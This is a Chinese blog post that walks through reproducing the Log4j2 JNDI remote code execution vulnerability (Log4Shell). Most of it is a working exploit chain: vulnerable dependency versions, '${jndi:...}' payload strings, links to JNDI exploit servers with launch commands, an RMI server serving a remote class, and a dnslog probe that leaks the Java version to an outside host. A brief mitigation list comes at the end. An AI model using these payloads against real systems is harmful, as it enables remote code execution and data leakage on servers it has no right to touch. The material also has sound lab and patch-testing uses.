前情提要

Apache 存在 Log4j 远程代码执行漏洞,将给相关企业带来哪些影响?还有哪些信息值得关注?

构建maven项目引入Log4j2

编写 pom 文件

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>Log4j-rce</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.13.3</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.13.3</version>
        </dependency>

    </dependencies>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>

</project>

编写测试代码

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;


public class log4jRCE {
    private static final Logger logger = LogManager.getLogger(log4jRCE.class);
    public static void main(String[] args) {
        // 避免因为Java版本过高而无法触发此漏洞
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        // 此处ip需要使用本机局域网ip或网络ip,不能使用127.0.0.1
        logger.error("${jndi:ldap://ip:1389/Basic/Command/calc}");
    }
}

下载 JNDI 测试服务器

https://github.com/feihong-cs/JNDIExploit

或者

https://github.com/welk1n/JNDI-Injection-Exploit

下载 JNDIExploit 测试服务器

本次使用 JNDIExploit 举例

下载完成后使用

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ip

启动服务器

然后运行之前的Log4j2项目即可出现如图所示效果

运行结果

加载运行自己的 class 类

编写 RMI服务器

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * @author Pu Zhiwei {@literal puzhiweipuzhiwei@foxmail.com}
 * create          2021-12-11 22:06
 */
public class RMIServer {
    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        try {
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();

            System.out.println("Create RMI registry on port 1099!");
            // 前两个参数为类名,第三个参数为远程类地址
            Reference reference = new Reference("Test", "Test", "http://192.168.0.105:8080/");
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("evil", referenceWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

编写测试类

public class Test {
    static {
        System.out.println("你好 Log4j2");
    }
}

然后启动一个 http 服务器,将编译好的测试类放入 http 服务器的根目录,你可以直接使用python的http服务器

python -m http.server 8080

修改 Log4j2 项目内容为

logger.error("${jndi:rmi://192.168.0.105:1099/evil}");

运行项目即可看到 Test 类已被执行

运行结果

之后你就可以通过修改 Test 类实现更多操作。

如何防范

升级 Log4j2 到最新版本

使用最新版 JDK

临时解决方案:

  • 设置 jvm 参数 “-Dlog4j2.formatMsgNoLookups=true”

  • 在项目 classpath 目录下添加 log4j2.component.properties 配置文件,设置 log4j2.formatMsgNoLookups=true

  • 设置系统环境变量:“LOG4J_FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS” 设置为 “true”

补充内容

可以通过 http://www.dnslog.cn/ 来测试当前网站是否存在log4j漏洞

${jndi:ldap://${sys:java.version}.1mrdhj.dnslog.cn}

END

本文首发于 https://www.buguagaoshu.com/archives/log4j2yuan-cheng-zhi-xing-lou-dong-fu-xian

转载请注明来源